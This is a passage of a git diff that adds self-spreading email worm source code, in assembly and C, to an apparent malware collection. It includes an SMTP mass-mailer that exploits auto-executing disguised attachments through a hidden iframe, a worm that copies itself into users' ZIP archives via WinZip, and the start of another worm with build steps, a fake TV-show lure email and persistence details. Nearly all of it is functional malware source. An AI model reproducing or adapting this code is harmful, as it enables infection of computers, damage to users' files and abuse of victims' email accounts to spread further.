edx,[eax+binsize+100h] ;dest+ push edx+ mov ecx,binsize ;in++ call encodebase64+ mov dword ptr [edx],0a0d3dh ; '=/cr/lf/z'+ pop esi+ mov edi,[esp.Pushad_edi+4] ;jqwerty forever :)+ call stringsend++ _call GlobalFree++ popad++ jmp parsemaildata++;----------------------------------------------------------------------------;+checkmailinput: push 0+ push 300h+ lea eax,[ebp.buffer]+ push eax+ push edi ;handle+ _call recv++ lodsw+ cmp word ptr [ebp.buffer],ax ;codes match?+ je parsemaildata+ ret ;no good code -return to clean_xit+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+sendmailfrom: push esi+++; call __a+;fromwho db "test@localhost",0+; __a:+; pop esi++ push ebx++ push offset szRegAccountInfo+ call __s+ db "SMTP Email Address",0+ __s:+ call readregkey+ mov esi,ebx+ pop ebx+ call stringsend ;well guess. test! :)++ pop esi+smfx: jmp parsemaildata+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+sendmailto: push esi+ mov esi,ebx+ call stringsend+ pop esi+smtx: jmp smfx+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+senddate: pushad+ ;int 3++ push edi+ lea edi,[ebp.buffer]+ push edi++ push 100+ push edi+ call __x+formdate db "ddd,dd MMM yyyy",0+ __x:+ push 0+ push 0+ push 409h+ _call GetDateFormatA+ add edi,eax+ dec edi+ mov al,' '+ stosb++ push 100+ push edi+ call __y+formtime db "HH:mm:ss",0+ __y:+ push 0+ push 0+ push 409h+ _call GetTimeFormatA+ add edi,eax+ dec edi+ mov eax,'00- '+ stosd+ mov eax,03030h+ stosd ;barf++ pop esi+ pop edi+ call stringsend++ popad++gsxx: jmp smtx+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+exitexit: ;int 3+ ret+;----------------------------------------------------------------------------;+++;----------------------------------------------------------------------------;+sendsubject: pushad+ ;int 3++ mov esi,offset gendata+ push edi+ lea edi,[ebp.buffer]+ push edi++hehe:+ xor eax,eax+ lodsb++ cmp al,31+ je done++ call get_rnd_range+ xchg eax,ecx++__l: or ecx,ecx+ jz __b+__f: lodsb+ or al,al+ jnz __f+ loop __l++__b: lodsb+ cmp al,0+ je __d+ stosb+ jmp __b+__d: mov al,' '+ stosb++__g: lodsb+ cmp al,0+ je __g+ cmp al,' '+ jae __g+ dec esi+ jmp hehe++done:+ mov al,0+ stosb+ pop esi+ pop edi+ call stringsend+ popad+ jmp gsxx++gendata db 5+ db 0+ db 0+ db 0+ db "Fw:",0+ db "Fw: Re:",0++ db 11+ db 0+ db "Cool",0+ db "Nice",0+ db "Hot",0+ db "some",0+ db "Funny",0+ db "weird",0+ db "funky",0+ db "great",0+ db "Interesting",0+ db "many",0++ db 10+ db "website",0+ db "site",0+ db "pics",0+ db "urls",0+ db "pictures",0+ db "stuff",0+ db "mp3s",0+ db "shit",0+ db "music",0+ db "info",0++ db 7+ db "to check",0+ db "for you",0+ db "i found",0+ db "to see",0+ db "here",0+ db "- check it",0+ db 0++ db 6+ db "!!",0+ db "!",0+ db ":-)",0 ;lets use lame cool-to-newbies smileys ;P+ db "?!",0+ db "hehe ;-)",0+ db 0++ db 31 ;terminator+++;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+stringsend: push esi++ xor ecx,ecx+ dec ecx++__x: lodsb+ inc ecx+ cmp al,8+ ja __x++ pop esi+ push ecx++ push 0 ;flags+ push ecx ;length+ push esi ;datastart+ push edi ;handle+ _call send++ pop ecx++; push 10+; _call Sleep++ add esi,ecx+ ret+;----------------------------------------------------------------------------;++get_rnd_range: push ecx ;luv to griyo+ push edx+ mov ecx,eax+ call get_rnd32+ xor edx,edx+ div ecx+ mov eax,edx+ pop edx+ pop ecx+ ret+++get_rnd32: ;Stolen from prizzy's Crypto+ push ebx ecx edx+ mov eax,dword ptr [ebp.rnd32seed]+ mov ecx,41C64E6Dh+ mul ecx+ xchg eax,ecx+ _call GetTickCount+ mov ebx,eax+ db 0Fh, 31h ;RDTCS instruction - read+ xor eax,ebx+ xchg ecx,eax ;PCs ticks to EDX:EAX+ mul ecx+ add eax,00003039h+ mov dword ptr [ebp.rnd32seed],eax+ pop edx ecx ebx+ ret++;----------------------------------------------------------------------------;++encodebase64: ; encodeBase64 by Bumblebee. All rights reserved ;)+; input:+; EAX = Address of data to encode+; EDX = Address to put encoded data+; ECX = Size of data to encode+; output:+; ECX = size of encoded data+;+ xor esi,esi+ call over_enc_table+ db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ db "abcdefghijklmnopqrstuvwxyz"+ db "0123456789+/"+over_enc_table:+ pop edi+ push ebp+ xor ebp,ebp+baseLoop:+ movzx ebx,byte ptr [eax]+ shr bl,2+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ mov bx,word ptr [eax]+ xchg bl,bh+ shr bx,4+ mov bh,0+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ inc eax+ mov bx,word ptr [eax]+ xchg bl,bh+ shr bx,6+ xor bh,bh+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi++ inc eax+ xor ebx,ebx+ movzx ebx,byte ptr [eax]+ and bl,00111111b+ mov bh,byte ptr [edi+ebx]+ mov byte ptr [edx+esi],bh+ inc esi+ inc eax++ inc ebp+ cmp ebp,24+ jna DontAddEndOfLine++ xor ebp,ebp ; add a new line+ mov word ptr [edx+esi],0A0Dh+ inc esi+ inc esi+ test al,00h ; Optimized (overlap rlz!)+ org $-1+DontAddEndOfLine:+ inc ebp+ sub ecx,3+ or ecx,ecx+ jne baseLoop++ mov ecx,esi+ add edx,esi+ pop ebp+ ret+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+readregkey:+ lea eax,[ebp.regkeyhnd]+ push eax+ push dword ptr [esp+3*4]+ push 80000001h ;hkey current user+ _call RegCreateKeyA+ or eax,eax+ jnz rrke++more_data: push 127+ push esp+ lea ebx,[ebp.buffer]+ push ebx+ push 0+ push 0+ push dword ptr [esp+18h]+ push [ebp.regkeyhnd]+ _call RegQueryValueExA ;read stmp server+ pop ecx+ cmp eax,234+ je more_data ;??+ or eax,eax+ jnz rrke++ push [ebp.regkeyhnd]+ _call RegCloseKey+ clc+ ret 8++rrke: stc+ ret 8+;----------------------------------------------------------------------------;++;----------------------------------------------------------------------------;+openfile: xor ebx,ebx+ push ebx+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push ebx+ push ebx+ push GENERIC_READ or GENERIC_WRITE+ push esi+ _call CreateFileA+ inc eax+ jz foerroropening+ dec eax+ mov dword ptr [ebp.createhandle],eax++ push ebx+ push ebx ;max size low+ push ebx+ push PAGE_READWRITE+ push ebx+ push eax ;handle+ _call CreateFileMappingA+ mov dword ptr [ebp.maphandle],eax++ push ebx+ push ebx+ push ebx+ push FILE_MAP_WRITE+ push eax ;handle+ _call MapViewOfFile+ mov dword ptr [ebp.viewhandle],eax+ xchg eax,esi+ clc+ ret+foerroropening: stc+ ret+;----------------------------------------------------------------------------;++ ; ebx=module base/handle+ ; edi=where to store+ ; esi=crc32 stuff+i_importapis:+ mov eax,[ebx+03ch] ;pointer to PE+ mov edx,[eax+ebx+78h] ;export section+ add edx,ebx++i_ia_nextone:+ lodsd+ or eax,eax+ jz i_ia_done+ push esi+ xchg eax,ecx ;ecx=desired crc32++ mov esi,[edx+8*4] ;addresses of ApiNames+ add esi,ebx+i_ia_find:+ lodsd ;address+ push esi+ add eax,ebx ;add base+ push eax ;save base for later+ xchg eax,esi+ call v_crc32+ cmp eax,ecx ;actual crc32=desired?+ pop eax+ pop esi+ jne i_ia_find ;nope.. then next++ push edx ;preserve edx++ push eax ;eax=name+ push ebx+; call GetProcAddress+ call dword ptr [start+2038h]++ pop edx++ stosd++ pop esi+ jmp i_ia_nextone+i_ia_done:+ ret++v_crc32: ;ofcourse i stole this... :)+ push edx+ mov edx,09C3B248Eh+ __gCRC32_next_byte:+ lodsb+ or al,al ;end of name ?+ jz __gCRC32_finish++ xor dl,al+ mov al,08h+ __gCRC32_next_bit:+ shr edx,01h+ jnc __gCRC32_no_change+ xor edx,0C1A7F39Ah+ __gCRC32_no_change:+ dec al+ jnz __gCRC32_next_bit+ jmp __gCRC32_next_byte+ __gCRC32_finish:+ xchg eax,edx ;CRC32 to EAX+ pop edx+ ret+++++szRegAccountInfo db "Software\Microsoft\Internet Account Manager\Accounts\00000001",0++mCheck equ 1 ;recv/checkfor+mFromAd equ 2 ;mailfrom addy+mDestAd equ 3 ;sendto addy+mTime equ 4 ;right time/date field+mSubj equ 5 ;random generated subject+mBase64 equ 6 ;base64 data+mEom equ 7 ;endofmail+++;----------------------------------------------------------------------------;+; *** the email data *** ;+++; smtp commands+;----------------------------------------------------------------------------;++crlf equ 0dh,0ah+crlfz equ crlf,0+maildata db mCheck,'22' ;--check 220 greet+ db 'HELO localhost',crlf ;HELO localhost+ db mCheck,'25' ;--check 250+ db 'MAIL FROM: ',mFromAd,crlf ;MAIL FROM: addie+ db mCheck,'25' ;--check 250+ db 'RCPT TO: ',mDestAd,crlf ;RCPT TO: addie+ db mCheck,'25' ;--check 250+ db 'DATA',crlf ;DATA+ db mCheck,'35' ;--check 354++; stupid default stuph+;----------------------------------------------------------------------------;++db 'From: ',mFromAd,crlf+db 'To: ',mDestAd,crlf+db 'Subject: ',mSubj,crlf+db 'Date: ',mTime,crlf++ ;mime headers+;----------------------------------------------------------------------------;++db 'MIME-Version: 1.0',crlf+db 'Content-Type: multipart/mixed;',crlf+db ' boundary="bound"',crlf+db ' X-Priority: 3',crlf+db ' X-MSMail-Priority: Normal',crlf+db ' X-Mailer: Microsoft Outlook Express 5.50.4522.1300',crlf+db ' X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1300',crlf+db crlf+db 'This is a multi-part message in MIME format.',crlf+db crlf++ ;first part: html code to run the sploit+;----------------------------------------------------------------------------;++db '--bound',crlf+db 'Content-Type: text/html;',crlf+db ' charset="iso-8859-1"',crlf+db 'Content-Transfer-Encoding: quoted-printable',crlf+db crlf+db '<HTML><HEAD></HEAD><BODY><iframe src=3Dcid:SOMECID height=3D0 width=3D0></iframe>',crlf+db '<font>peace</font></BODY></HTML>',crlf+db crlf++ ;next part - the sploit+;----------------------------------------------------------------------------;++db '--bound',crlf+db 'Content-Type: audio/x-wav;',crlf+db ' name="whatever.exe"',crlf+db 'Content-Transfer-Encoding: base64',crlf+db 'Content-ID: <SOMECID>',crlf+db crlf++ ;base64 stuff+;----------------------------------------------------------------------------;+db mBase64++ ;end boundary & quit command+;----------------------------------------------------------------------------;++db crlf,'--bound--',crlf,'.',crlf+db 'QUIT',crlf,mEom++;----------------------------------------------------------------------------;++apicrcs:+crc32m <GetWindowsDirectoryA>+crc32m <CloseHandle>+crc32m <ExitProcess>+crc32m <GlobalAlloc>+crc32m <GetModuleHandleA>+crc32m <GlobalFree>+crc32m <GetDateFormatA>+crc32m <GetTimeFormatA>+crc32m <Sleep>+crc32m <GetTickCount>+crc32m <CreateFileA>+crc32m <CreateFileMappingA>+crc32m <MapViewOfFile>+ dd 0++ db 9+ db "ADVAPI32",0+crc32m <RegCreateKeyA>+crc32m <RegQueryValueExA>+crc32m <RegCloseKey>+dd 0++ db 8+ db "WSOCK32",0+crc32m <WSAStartup>+crc32m <socket>+crc32m <htons>+crc32m <gethostbyname>+crc32m <connect>+crc32m <closesocket>+crc32m <recv>+crc32m <send>+crc32m <WSACleanup>+ dd 0+ db 0+++db "END"++apis:++GetWindowsDirectoryA dd ?+CloseHandle dd ?+ExitProcess dd ?+GlobalAlloc dd ?+GetModuleHandleA dd ?+GlobalFree dd ?+GetDateFormatA dd ?+GetTimeFormatA dd ?+Sleep dd ?+GetTickCount dd ?+CreateFileA dd ?+CreateFileMappingA dd ?+MapViewOfFile dd ?+++RegCreateKeyA dd ?++RegQueryValueExA dd ?+RegCloseKey dd ?+++WSAStartup dd ?+socket dd ?+htons dd ?+gethostbyname dd ?+connect dd ?+closesocket dd ?+recv dd ?+send dd ?+WSACleanup dd ?++++totalend:++stackframe struc++createhandle dd ?+maphandle dd ?+viewhandle dd ?+addie db 48h dup (?)++stackframe ends++++stack2 struc++regkeyhnd dd ?+sockaddr_in ssockaddr_in ?+buffer db 300h dup (?)+rnd32seed dd ?+;space WSADATA ?+ends++ end start+ end++diff --git a/Worms/InternetWorm/I-Worm.Archiver.c b/Worms/InternetWorm/I-Worm.Archiver.cnew file mode 100644index 0000000..89747af--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Archiver.c@@ -0,0 +1,227 @@+/*+Name : I-Worm.Archiver+Author : PetiK+Date : Mai 10th 2002 -+Language : C++++Comments : Infect ZIP files which run with WINZIP.++ We can also to do the same think with PowerArchiver:+ powerarc -a -c4 archive.zip virus.exe++*/++#include <windows.h>+#include <stdio.h>+#include <mapi.h>++#pragma argused+#pragma inline+++char filen[100],copyn[100],copyreg[100],windir[100],sysdir[100],inzip[256],fsubj[50];+char *fnam[]={"news","support","info","newsletter","webmaster"};+char *fmel[]={"@yahoo.com","@hotmail.com","@symantec.com","@microsoft.com","@avp.ch","@viruslist.com"};+LPSTR run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",+ SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";+char attname[]="news_xxxxxxxx.exe";+LPTSTR cmdLine,ptr;+BOOL installed;+BYTE desktop[50],favoris[50],personal[50],winzip[50];+DWORD sizdesktop=sizeof(desktop),sizfavoris=sizeof(favoris),+ sizpersonal=sizeof(personal),sizwinzip=sizeof(winzip);+DWORD type=REG_SZ;+long i;++LHANDLE session;+MapiMessage *mes;+MapiRecipDesc from;+char messId[512],mname[50],maddr[30];+HINSTANCE hMAPI;++HKEY hReg;+WIN32_FIND_DATA ffile;++void infzip(char *);++ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);+ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);+ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);+ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);+ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);+ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);++int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)+{++GetModuleFileName(hInst,filen,100);+GetSystemDirectory((char *)sysdir,100);+GetWindowsDirectory((char *)copyn,100);+strcpy(windir,copyn);+strcat(copyn,"\\Archiver.exe");++installed=FALSE;+cmdLine=GetCommandLine();+if(cmdLine) {+ for(ptr=cmdLine;ptr[0]!='-' && ptr[1]!=0;ptr++);+ if(ptr[0]=='-' && ptr[1]!=0) {+ switch(ptr[1]) {+ default:+ break;+ case 'i':+ installed=TRUE;+ break;+ case 'p':+ ShellAbout(0,"I-Worm.Archiver","Copyright (c)2002 - PetiKVX",0);+ MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2002",+ "I-Worm.Archiver",MB_OK|MB_ICONINFORMATION);+ ExitProcess(0);+ break;+ }+ }+ }++if(!installed) {+CopyFile(filen,copyn,FALSE);+strcpy(copyreg,copyn);+strcat(copyreg," -i");+/* RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);+RegSetValueEx(hReg,"Archiver",0,REG_SZ,(BYTE *)copyreg,100);+RegCloseKey(hReg); */+ExitProcess(0);+}++RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);+RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);+RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);+RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);+RegCloseKey(hReg);+RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hReg);+RegQueryValueEx(hReg,NULL,0,&type,winzip,&sizwinzip);+RegCloseKey(hReg);++if(strlen(winzip)!=0) {+infzip(windir);+infzip(sysdir);+infzip(desktop);+infzip(personal);+infzip(favoris);+infzip("C:\\");+}++/*+_asm+{+call @wininet+db "WININET.DLL",0+@wininet:+call LoadLibrary+test eax,eax+jz end_asm+mov ebp,eax+call @inetconnect+db "InternetGetConnectedState",0+@inetconnect:+push ebp+call GetProcAddress+test eax,eax+jz end_wininet+mov edi,eax+verf:+push 0+push Tmp+call edi+dec eax+jnz verf++end_wininet:+push ebp+call FreeLibrary+end_asm:+jmp end_all_asm++Tmp dd 0++end_all_asm:+}+++hMAPI=LoadLibrary("MAPI32.DLL");+(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");+(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");+(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");+(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");+(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");+(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");+mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);+if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {+ do {+ if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {+ strcpy(mname,mes->lpOriginator->lpszName);+ strcpy(maddr,mes->lpOriginator->lpszAddress);++ for(i=0;i<8;i++)+ attname[i+5]='1'+(char)(9*rand()/RAND_MAX);+ fsubj[0]=0;+ wsprintf(fsubj,"News from %s%s",fnam[GetTickCount()%4],fmel[GetTickCount()%5]);+++ mes->ulReserved=0;+ mes->lpszSubject=fsubj;+ mes->lpszNoteText="This is some news send by our firm about security.\n"+ "Please read by clicking on attached file.\n"+ "\tBest Regards";+ mes->lpszMessageType=NULL;+ mes->lpszDateReceived=NULL;+ mes->lpszConversationID=NULL;+ mes->flFlags=MAPI_SENT;+ mes->lpOriginator->ulReserved=0;+ mes->lpOriginator->ulRecipClass=MAPI_ORIG;+ mes->lpOriginator->lpszName=mes->lpRecips->lpszName;+ mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;+ mes->nRecipCount=1;+ mes->lpRecips->ulReserved=0;+ mes->lpRecips->ulRecipClass=MAPI_TO;+ mes->lpRecips->lpszName=mname;+ mes->lpRecips->lpszAddress=maddr;+ mes->nFileCount=1;+ mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));+ memset(mes->lpFiles, 0, sizeof(MapiFileDesc));+ mes->lpFiles->ulReserved=0;+ mes->lpFiles->flFlags=NULL;+ mes->lpFiles->nPosition=-1;+ mes->lpFiles->lpszPathName=filen;+ mes->lpFiles->lpszFileName=attname;+ mes->lpFiles->lpFileType=NULL;+ mSendMail(session, NULL, mes, NULL, NULL);+ }+ }while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);+free(mes->lpFiles);+mFreeBuffer(mes);+mLogoff(session,0,0,0);+FreeLibrary(hMAPI);+}++*/++ExitProcess(0);+}++void infzip(char *folder)+{+register bool abc=TRUE;+register HANDLE fh;+if(strlen(folder)!=0) {+SetCurrentDirectory(folder);+fh=FindFirstFile("*.zip",&ffile);+if(fh!=INVALID_HANDLE_VALUE) {+ while(abc) {+ inzip[0]=0;+ wsprintf(inzip,"%s -a -r %s %s",winzip,ffile.cFileName,copyn);+ WinExec(inzip,1);+ abc=FindNextFile(fh,&ffile);+ }+}+}++}diff --git a/Worms/InternetWorm/I-Worm.BigBrother.asm b/Worms/InternetWorm/I-Worm.BigBrother.asmnew file mode 100644index 0000000..c9b1c55--- /dev/null+++ b/Worms/InternetWorm/I-Worm.BigBrother.asm@@ -0,0 +1,1555 @@+;================================================================================================+; :�������������������������������������������:+; � #####################++++++++++++++++++ �+; � #:I-Worm.BigBrother #� ! �+ �+; � ####################*################## �+; � +� ! �#:BioCoded by YuP # �+; � ++++++++++++++++++++################### �+; :�������������������������������������������:+;+;+;+;+; [Disclaimer]+; ^~^~^~^~^~^~^+; This file is a demonstration of WINASM coding. Educational purposes only!+; Author is not responsabile of any kind of damages which may occur after the+; asembly of this file.+; I TAKE NO RESPONSIBILITY FOR ANY ACTIONS WITH THIS CODE.+;+; [2002 CURRENT NOTES]+; This worm is so old that i don't remember when i have coded it,+; it is VERY VERY LAME! IT WAS CODED IN THIS TIMES WHEN I THOUHGT+; THAT WINASM = API CALL! AND YOU WILL SEE IT IN A SOURCE!+; SO IT IS GOOD FOR LAMMIEZ!+;+; Ad added 28.06.2002 - by Lord YuP / TKT - templars.org - tkt.planetsecurity.net+; [current greetz for all guyz from #virus and TKT memberz!]+;+;+;+;+; [Greetz]+; ^~^~^^~^+; Big thx goez to: * Dageshi (#VXERS) - you helped me a lot ;>.+; * T-2000 / Immortal Riot (4 base encoder sample).+;+; Otherz (pozdrufka) to: detergent, blaze, b0sman, Exeq, Fidiasz , Duszek, Kwaz,+; tompaw69, PlayerPL, Grabarz (dragon bratha)+; Crash and otherz polish coderz.+;+; Bonus thx to: Dla Karolinki (z BB) -jestes tak glupia ,ze mi cie szkoda.+; (natchnienie) Ricky Martin ;P, Renegat, Rino Reinz, Ciuny, Palguma,+; Balon.+;+; Thx 4 payload txt to: Linkin Park (R) KeWl Music Group+;+; [How to Compile]+; ^~^~^~^~^~^~^~^+; %: tasm32 /m1 /mx big.asm+; %: tlink32 /Tpe /aa big,big,,import32.lib+; %: brc32 big.res+;+; % NOTE. File is also compressed & encrypted by tElock tool ,ver.051+;+;+;+; [Info]+; ^~^~^~+; .:[SUPPORT.AVX.COM]: (my commentz in *[]*)+;+;+;+; Details:+;---------+;Name : I-Worm.BigBrother+;Type: Internet Worm+;Aliases: none+;Size: 12800 bytes+;+;At the time of writing this we have only received one report of infection.+;+;+;Description:+;---------------+;This is a virus which arrives in your e-mail in the following formatt:+;+;From: "BIGBROTHER TVN POLSKA" [email protected]+;Subject: BIGBROTHER SHOW !+;+;Body: Teraz mozesz ogladac BIGBROTHER SHOW za pomoca komputera! Jak to+;zrobic? Wystarczy ze uruchomisz specjalny program+;(BIGBROTHER_LIVE_CAMERA.EXE) , ktory zostal dolaczony do wiadomosci.+;Ponadto za pomoca tego narzedzia mozesz nominowac wybrane przez ciebie+;osoby, do opuszczenia domu Wielkiego Brata. Co miesiac rozlosowane beda+;nagrody (telewizory, wieze stereo,+;komputery ...i wiele ,wiele innych). Prosimy przysylac+;opinie i komentarze na temat programu.+;+;+;Zyczymy milej zabawy:+;+;Redakcja programu.+;+;Attachment: BigBrother_Live_Camera.exe+;+;When the user opens the attachment, the virus copies itself to C:\WINDOWS\SYSTEM with the name: ;b1g_brother.exe+;and adds the following line in WIN.INI: in the section [windows]+;+;run=c:\Windows\System\b1g_brother.exe+;+;After that it checks if the computer is connected to the Internet and then starts sending itself ;through e-mail in the format presented above.+;+;In order to get e-mail addresses it scans all hard drives for html files and it search inside ;them for the string mailto:, and it sends itself to those addresses. *[no in hd but in+;My Documents folder na Temp]*+;+;In case of running the b1g_brother.exe manually it shows the following message:+;SEGMENTATION FAULT.+;Please REPORT this BUG.+;++;Payload:+;-----------+;On May 13 it displays the following message:++;You like to think you�re never wrong+;You want to act like you�re someone+;You want someone to hurt like you+;You want to share what you�ve been through+;You live what you learn...+;+;Today you know the truth: i-worm.BigBrother+;Now contact with yourz AV expert.+;Future , Don't trust anyone ...+; [YuP/0ne Earth]+;payyes *[what?]*++;Detection has been added.+;+;+;+;+; [Bugz]+; ^~^~^~+; This i-worm should be able to work on win32 platformz without any erroz. Opps ;) it should be.+; On win98 (when i and dageshi were testing it) were some bugz (win98 fuck out).+; I don't know why ;) i don't have any time to check it with any debugER ;]+; do it yourself if you want of coz. This is my 1st i-worm and its very+; 'low-coded' i think ... The next onez should be better.+;+;+;================================================================================================+; [L]etz [S]tart+; oO-= Have fun! =-Oo+;================================================================================================++.486p+locals+jumps+.model flat,STDCALL++extrn ExitProcess:PROC ;i love it+extrn CopyFileA:PROC ;did i miss sth ?+extrn MessageBoxA:PROC+extrn SetFileAttributesA:PROC+extrn GetSystemDirectoryA:PROC+extrn lstrcatA:PROC+extrn lstrcpyA:PROC+extrn CreateFileA:PROC+extrn ExitWindowsEx:PROC+extrn Sleep:PROC+extrn CreateMutexA:PROC+extrn GetCurrentProcessId:PROC+extrn LoadLibraryA:PROC+extrn GetProcAddress:PROC+extrn PeekMessageA:PROC+extrn OpenMutexA:PROC+extrn RegOpenKeyExA:PROC+extrn RegQueryValueExA:PROC+extrn RegCloseKey:PROC+extrn FindFirstFileA:PROC+extrn FindNextFileA:PROC+extrn CreateFileA:PROC+extrn CloseHandle:PROC+extrn ReadFile:proc+extrn CharNextA:PROC+extrn lstrcpyn:PROC+extrn lstrlenA:PROC+extrn lstrcmp:PROC+extrn lstrcpy:PROC+extrn FindClose:PROC+extrn GetTopWindow:PROC+extrn GetNextWindowA:PROC+extrn PostMessageA:PROC+extrn GetActiveWindow:PROC+extrn GetTempPathA:PROC+extrn send:PROC+extrn recv:PROC+extrn WSAStartup:PROC+extrn WSACleanup:PROC+extrn socket:proc+extrn connect:PROC+extrn gethostbyname:PROC+extrn closesocket:PROC+extrn lstrlen:PROC+extrn WinExec:PROC+extrn lstrcmpi:PROC+extrn ReleaseMutex:PROC+extrn GetFileSize:PROC+extrn WriteFile:PROC+extrn GetModuleFileNameA:PROC+extrn GetCurrentDirectoryA:PROC+extrn _lread:PROC+extrn SetCurrentDirectoryA:PROC+extrn WriteProfileStringA:PROC+extrn RegCreateKeyA:PROC+extrn RegOpenKeyA:PROC++;extrnz for payload+extrn SetTextColor:PROC+extrn GetDC:PROC+extrn TextOutA:PROC+extrn CreateFontA:PROC+extrn SelectObject:PROC+extrn LineTo:PROC+extrn GetSystemTime:PROC+extrn SetBkColor:PROC+extrn CreatePen:PROC++++.DATA+++signature db "[I-WORM.BigBr0th3r] (c) YuP",0+ db "Greetz to all #PHREAKPL CREW",0+ db "and #VXERS TERRORIST GROUP.",0+ db "Special thx goez to: Dageshi",0+ db "& detergent ",0+ db "-=* GOOD WORK AV PEOPLE ;P *=-",0++myname db 256 dup(?)+new db '\b1g_brother.exe',0+sysD db 256 dup(?)+sysDD db 256 dup(?)+tempD db 256 dup(?)+markerr db 'rundll32 kernel,FatalExit',0+krnl db 'KERNEL32.DLL',0+krnl_proc db 'RegisterServiceProcess',0+mutex_name db 'Kakaroth',0+mutexH dd ?+sys_name db 'b1g_brother.exe',0++module_filename db 256 dup(?)+dir db 1024 dup(?)+bslash db '\',0++;check connection+hang_connection db 'InternetHangUp',0+check_connection db 'InternetGetConnectedState',0+wininet_lib db 'WININET.DLL',0+lpdwFlagz dd 0+++ini_key db 'run',0+ini_sect db 'windows',0++++;FOR REGISTRY+HKEY_LOCAL_MACHINE equ 80000001h+HKEY_CURRENT_USER equ 80000001h+hKeyPath db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0+hPersonal db 'Personal',0+PersonalF db 128 dup(0)+PersonalFsize dd 128+hKeyHandle dd 0+my_key db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\silent_thunder',0+shit dd 0+shitshit dd 0++server_p db 'Software\Microsoft\Internet Account Manager\Accounts\00000001',0+server_h dd 0+server_s db 'SMTP Server',0+server db 128 dup(0)+server_size dd 128++;FOR SEARCH+fMASK db '\*.htm*',0+fMASK1 db '*.htm*',0+break db '\',0+oldd dd 128 dup(0)+bus db 260 dup(0) ;search buffer ;]+fsH dd ?+fHnd dd ?+sciezka db 260 dup(0)++WIN32_FIND_DATA struc+dwFileAttributes dd 0+dwLowDateTime0 dd ? ; creation+dwHigDateTime0 dd ?+dwLowDateTime1 dd ? ; last access+dwHigDateTime1 dd ?+dwLowDateTime2 dd ? ; last write+dwHigDateTime2 dd ?+nFileSizeHigh dd ?+nFileSizeLow dd ?+dwReserved dd 0,0+cFileName db 260 dup(0)+cAlternateFilename db 14 dup(0)+ db 2 dup(0)+WIN32_FIND_DATA ends++find_data WIN32_FIND_DATA <?>++;for e-mailz+mail db 'mailto:',0+worm_size equ 10000h+worm_code db worm_size dup(0)+fH dd ?+searchH dd ?+counter equ 0+longBuff dd ?+clear db '',0+myB db 128 dup(?)+L1 db '"',0+mail_string db 128 dup(0)+mail_good db 128 dup(0)+sep db '',0++;======================[BASE ENCODE DATA]===============================+base_file db '00000b.rat',0+base_file_name db 128 dup(0)+base_to_code db '000000s.b64',0+base_to_code_buff db 128 dup(0)++Encoding_Table: DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'+ DB 'abcdefghijklmnopqrstuvwxyz'+ DB '0123456789+/'++Input_Buffer DB 200 DUP(0)+Output_Buffer DB 200 DUP(0)++base_buff_size equ 18516+base_buffer DB base_buff_size DUP(0)+base_size dd 0+baL dd ?+++++input_handle dd ?+Input_Handle dd ?+output_handle dd ?+Output_Handle dd ?++IO_Bytes_Count DD 0++OPEN_EXISTING EQU 00000003h+CREATE_ALWAYS EQU 00000002h+FILE_ATTRIBUTE_NORMAL EQU 00000080h+GENERIC_READ EQU 80000000h+GENERIC_WRITE EQU 40000000h++;============[E-MAIL CLIEN7]========================+HELO 